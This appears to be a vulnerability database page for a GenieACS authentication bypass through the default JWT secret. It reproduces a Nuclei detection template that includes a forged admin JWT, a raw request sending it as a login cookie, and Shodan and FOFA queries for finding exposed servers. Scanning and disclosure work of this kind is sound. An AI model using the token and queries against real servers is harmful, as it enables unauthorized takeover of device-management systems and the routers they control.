genieacs-default-jwt: GenieACS - Authentication Bypass (Default JWT Secret)

2025-08-01 GenieACS PoC Public

Description

GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.

PoC

id: genieacs-default-jwt

info:
  name: GenieACS - Authentication Bypass (Default JWT Secret)
  author: DhiyaneshDK,pussycat0x
  severity: high
  description: |
    GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
  reference:
    - https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genieacs
    product: genieacs
    shodan-query:
      - http.html:"genieacs"
      - http.favicon.hash:-2098066288
    fofa-query:
      - body="genieacs"
      - icon_hash=-2098066288
  tags: misconfig,jwt,genieacs,default-jwt,vuln
variables:
  cookie_name: genieacs-ui-jwt
  default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c

http:
  - raw:
      - |
        GET /api/presets/?filter=true HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/*
        Cookie: {{cookie_name}}={{default_jwt_secret}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"provision":'
          - '"provisionArgs":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'
# digest: 4a0a0047304502207a4a1703918930ade274dba8a8a61268e30e31641cdc11f8a9d544aa32636ae202210094d06b6bdce8dc516a08b419f5b9f89d31bc3b69bbe37a5204510c8bdf1f4757:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/genieacs-default-jwt.yaml

References

Related Vulnerabilities